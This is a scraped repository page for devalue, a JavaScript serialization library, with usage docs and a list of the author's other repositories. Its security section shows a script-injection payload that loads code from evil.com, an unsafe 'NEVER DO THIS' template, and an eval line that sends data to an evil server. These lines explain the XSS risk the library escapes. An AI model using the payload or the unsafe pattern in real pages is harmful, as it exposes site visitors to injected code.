• Stars
    star
    2,085
  • Rank 22,148 (Top 0.5 %)
  • Language
    JavaScript
  • License
    MIT License
  • Created over 6 years ago
  • Updated 4 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Gets the job done when JSON.stringify can't

devalue

Like JSON.stringify, but handles

  • cyclical references (obj.self = obj)
  • repeated references ([value, value])
  • undefined, Infinity, NaN, -0
  • regular expressions
  • dates
  • Map and Set
  • BigInt
  • custom types via replacers, reducers and revivers

Try it out here.

Goals:

Non-goals:

  • Human-readable output
  • Stringifying functions

Usage

There are two ways to use devalue:

uneval

This function takes a JavaScript value and returns the JavaScript code to create an equivalent value — sort of like eval in reverse:

import * as devalue from 'devalue';

let obj = { message: 'hello' };
devalue.uneval(obj); // '{message:"hello"}'

obj.self = obj;
devalue.uneval(obj); // '(function(a){a.message="hello";a.self=a;return a}({}))'

Use uneval when you want the most compact possible output and don't want to include any code for parsing the serialized value.

stringify and parse

These two functions are analogous to JSON.stringify and JSON.parse:

import * as devalue from 'devalue';

let obj = { message: 'hello' };

let stringified = devalue.stringify(obj); // '[{"message":1},"hello"]'
devalue.parse(stringified); // { message: 'hello' }

obj.self = obj;

stringified = devalue.stringify(obj); // '[{"message":1,"self":0},"hello"]'
devalue.parse(stringified); // { message: 'hello', self: [Circular] }

Use stringify and parse when evaluating JavaScript isn't an option.

unflatten

In the case where devalued data is one part of a larger JSON string, unflatten allows you to revive just the bit you need:

import * as devalue from 'devalue';

const json = `{
  "type": "data",
  "data": ${devalue.stringify(data)}
}`;

const data = devalue.unflatten(JSON.parse(json).data);

Custom types

You can serialize and serialize custom types by passing a second argument to stringify containing an object of types and their reducers, and a second argument to parse or unflatten containing an object of types and their revivers:

class Vector {
	constructor(x, y) {
		this.x = x;
		this.y = y;
	}

	magnitude() {
		return Math.sqrt(this.x * this.x + this.y * this.y);
	}
}

const stringified = devalue.stringify(new Vector(30, 40), {
	Vector: (value) => value instanceof Vector && [value.x, value.y]
});

console.log(stringified); // [["Vector",1],[2,3],30,40]

const vector = devalue.parse(stringified, {
	Vector: ([x, y]) => new Vector(x, y)
});

console.log(vector.magnitude()); // 50

If a function passed to stringify returns a truthy value, it's treated as a match.

You can also use custom types with uneval by specifying a custom replacer:

devalue.uneval(vector, (value, uneval) => {
	if (value instanceof Vector) {
		return `new Vector(${value.x},${value.y})`;
	}
}); // `new Vector(30,40)`

Note that any variables referenced in the resulting JavaScript (like Vector in the example above) must be in scope when it runs.

Error handling

If uneval or stringify encounters a function or a non-POJO that isn't handled by a custom replacer/reducer, it will throw an error. You can find where in the input data the offending value lives by inspecting error.path:

try {
	const map = new Map();
	map.set('key', function invalid() {});

	uneval({
		object: {
			array: [map]
		}
	});
} catch (e) {
	console.log(e.path); // '.object.array[0].get("key")'
}

XSS mitigation

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
	userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  // NEVER DO THIS
  var preloaded = ${JSON.stringify(state)};
</script>`;

Which would result in this:

<script>
	// NEVER DO THIS
	var preloaded = {"userinput":"
</script>
<script src="https://evil.com/mwahaha.js">
	"};
</script>

Using uneval or stringify, we're protected against that attack:

const template = `
<script>
  var preloaded = ${uneval(state)};
</script>`;
<script>
	var preloaded = {
		userinput:
			"\\u003C\\u002Fscript\\u003E\\u003Cscript src='https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js'\\u003E"
	};
</script>

This, along with the fact that uneval and stringify bail on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by uneval can be safely deserialized with eval or new Function:

const value = (0, eval)('(' + str + ')');

Other security considerations

While uneval prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed uneval would have access to your system.

When using eval, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:

{
	const sensitiveData = 'Setec Astronomy';
	eval('sendToEvilServer(sensitiveData)'); // pwned :(
	(0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}

Using new Function(code) is akin to using indirect eval.

See also

License

MIT

More Repositories

1

degit

Straightforward project scaffolding
JavaScript
6,905
star
2

ramjet

Morph DOM elements from one state to another with smooth animations and transitions
JavaScript
5,454
star
3

magic-string

Manipulate strings like a wizard
JavaScript
2,304
star
4

pancake

Experimental charting library for Svelte
JavaScript
1,300
star
5

shimport

Use JavaScript modules in all browsers, including dynamic imports
JavaScript
1,238
star
6

svelte-cubed

Svelte ❤️ Three
Svelte
1,187
star
7

butternut

The fast, future-friendly minifier
JavaScript
1,176
star
8

agadoo

Check whether a package is tree-shakeable
JavaScript
537
star
9

headless-qr

A simple, modern QR code library
JavaScript
417
star
10

estree-walker

Traverse an ESTree-compliant AST
JavaScript
385
star
11

code-red

Experimental toolkit for writing x-to-JavaScript compilers
JavaScript
332
star
12

dts-buddy

WORK IN PROGRESS DO NOT USE
JavaScript
316
star
13

react-svelte

Use Svelte components inside a React app
JavaScript
302
star
14

sorcery

Resolve a chain of sourcemaps back to the original source, like magic
JavaScript
289
star
15

packd

Rollup as a service (with a little help from Browserify)
JavaScript
255
star
16

sveltekit-on-the-edge

SvelteKit, running on the edge
Svelte
222
star
17

simulant

Simulated DOM events for automated testing
JavaScript
202
star
18

svelte-knobby

Svelte
201
star
19

phonograph

🔊 Stream large audio files without the dreaded 'DOMException: play() can only be initiated by a user gesture' error.
TypeScript
199
star
20

svg-parser

JavaScript
196
star
21

svelte-undo

A small utility for managing an undo stack
JavaScript
193
star
22

svelte-gl

Just an idea. For now.
191
star
23

vlq

Generate, and decode, base64 VLQ mappings for sourcemaps and other uses
JavaScript
188
star
24

roadtrip

Client-side routing library. It's about the journey, not just the destination
JavaScript
155
star
25

sveltesnaps

Svelte
149
star
26

object-cull

Create a copy of an object with just the bits you actually need
TypeScript
144
star
27

sander

Promise-based power tool for common filesystem tasks
JavaScript
117
star
28

sveltekit-movies-demo

Movies demo
Svelte
116
star
29

snowpack-svelte-ssr

JavaScript
116
star
30

svelte-workshop

The website for the Svelte workshop
JavaScript
115
star
31

svelte-split-pane

A <SplitPane> component
Svelte
111
star
32

ematchi

Svelte
106
star
33

yootils

Stuff I often need. WIP
JavaScript
103
star
34

Points

Another Pointer Events polyfill
JavaScript
96
star
35

periscopic

Utility for analyzing scopes belonging to an ESTree-compliant AST
JavaScript
91
star
36

svelte-template-electron

A template for building Electron apps with Svelte
TypeScript
91
star
37

boxxy

Layout manager for web apps.
JavaScript
87
star
38

lit-node

Self-documenting Node scripts through literate programming
JavaScript
76
star
39

svelte-gl-boxes

a quick Svelte GL demo
HTML
75
star
40

svelteflix

Svelte
75
star
41

stacking-order

Determine which of two elements is in front of the other
JavaScript
72
star
42

sourcemap-codec

Encode/decode sourcemap mappings
JavaScript
69
star
43

the-answer

The answer to the question of life, the universe and everything
JavaScript
67
star
44

bundler-comparison

A quick test to see how various bundlers compare when bundling the Lodash source code.
JavaScript
66
star
45

zimmerframe

A tool for walking
JavaScript
65
star
46

svelte-gl-demo

A very basic Svelte GL scene
JavaScript
62
star
47

tape-modern

Minimum viable testing framework
TypeScript
62
star
48

sevenup

Tool for making and loading sprites
JavaScript
61
star
49

golden-fleece

Parse and manipulate JSON5 strings
TypeScript
59
star
50

port-authority

Utilities for dealing with ports in Node apps
JavaScript
55
star
51

esrap

Parse in reverse
JavaScript
52
star
52

rollup-svelte-code-splitting

demo repo
JavaScript
50
star
53

svelte-d3-arc-demo

Using Svelte and D3 together to create lightweight interactive visualisations with SSR
JavaScript
49
star
54

sveltekit-pdf-demo

Using SvelteKit to generate PDFs dynamically
TypeScript
47
star
55

begin-svelte-app

Begin app
JavaScript
45
star
56

Statesman

The JavaScript state management library
JavaScript
44
star
57

node-console-group

console.group() for node.js
JavaScript
41
star
58

svelte-three-demo

bare bones demo of svelte-three
JavaScript
38
star
59

locate-character

JavaScript
37
star
60

declarative-handlers

Declarative handlers in SvelteKit
TypeScript
36
star
61

birdland

The weather report
HTML
35
star
62

svelte-ssr-bundle

Demo of using Svelte and Rollup to create a SSR bundle
JavaScript
35
star
63

generated-types

An example of generated types
TypeScript
32
star
64

svelte-preprocessor-demo

JavaScript
31
star
65

spelunk

Traverse a folder in node, turning its contents into an object for easy consumption
JavaScript
30
star
66

cameoparison-starter

Workshop repo for https://cameoparison.netlify.app
JavaScript
25
star
67

typescript-lib

Project template for a TypeScript library
JavaScript
24
star
68

is-reference

Determine whether an AST node is a reference
JavaScript
22
star
69

ractive-dbmonster

An adaptation of Ember's 'dbmonster' demo of Glimmer
JavaScript
22
star
70

deepClone

Utility for cloning objects and arrays so you can manipulate them without borking your original data
JavaScript
18
star
71

sapper-ws-chat

playing around with websockets
JavaScript
17
star
72

magic-viewbox

Library for making draggable, zoomable, interactive SVG viewboxes
TypeScript
17
star
73

Neo

A matrix manipulation library that tries to explain what the hell's going on
JavaScript
16
star
74

svelte-google-maps

demo of using Svelte with Google Maps
HTML
15
star
75

terser-playground

A playground for seeing how Terser minifies JavaScript
HTML
15
star
76

oscars-data

Svelte
15
star
77

smooth-keyframes

Smoothly interpolate keyframes
TypeScript
14
star
78

transition-this

Svelte
14
star
79

sql

Opinionated wrapper around mysql2
JavaScript
14
star
80

tippex

Find and erase strings and comments in JavaScript code
JavaScript
13
star
81

namey-mcnameface

Generate short but memorable random names for stuff
JavaScript
13
star
82

viewbox

Pan and zoom the contents of SVG elements, and translate between coordinate systems
JavaScript
11
star
83

geotile

Split GeoJSON data up into vector tiles
JavaScript
10
star
84

Ractive-TodoMVC

Example TodoMVC implementation using Ractive.js
CSS
10
star
85

ffmpeg-wasm-demo

JavaScript
10
star
86

pathologist

JavaScript
9
star
87

modulepreload-demo

JavaScript
9
star
88

gurgle

A stream library
JavaScript
9
star
89

birdland-starter

Starter repo for birdland
JavaScript
9
star
90

fowl-play

A demo of SvelteKit's `read` function
JavaScript
9
star
91

svelte-gl-stress-test

JavaScript
8
star
92

superjson-and-devalue

quick script to compare superjson and devalue
JavaScript
7
star
93

sensor

sensor.js - DOM events that don't suck
JavaScript
7
star
94

auto-import-repro

JavaScript
7
star
95

vite-env-reload

HTML
6
star
96

vite-safe-modules-repro

JavaScript
6
star
97

d3-modules

JavaScript
6
star
98

vite-dynamic-import-repro

Repro for https://github.com/sveltejs/kit/issues/8516
JavaScript
6
star
99

svelte-accessors-demo

Using accessors to get and set Svelte component data
JavaScript
6
star
100

simple-css-parser

Parse CSS into JSON
CSS
6
star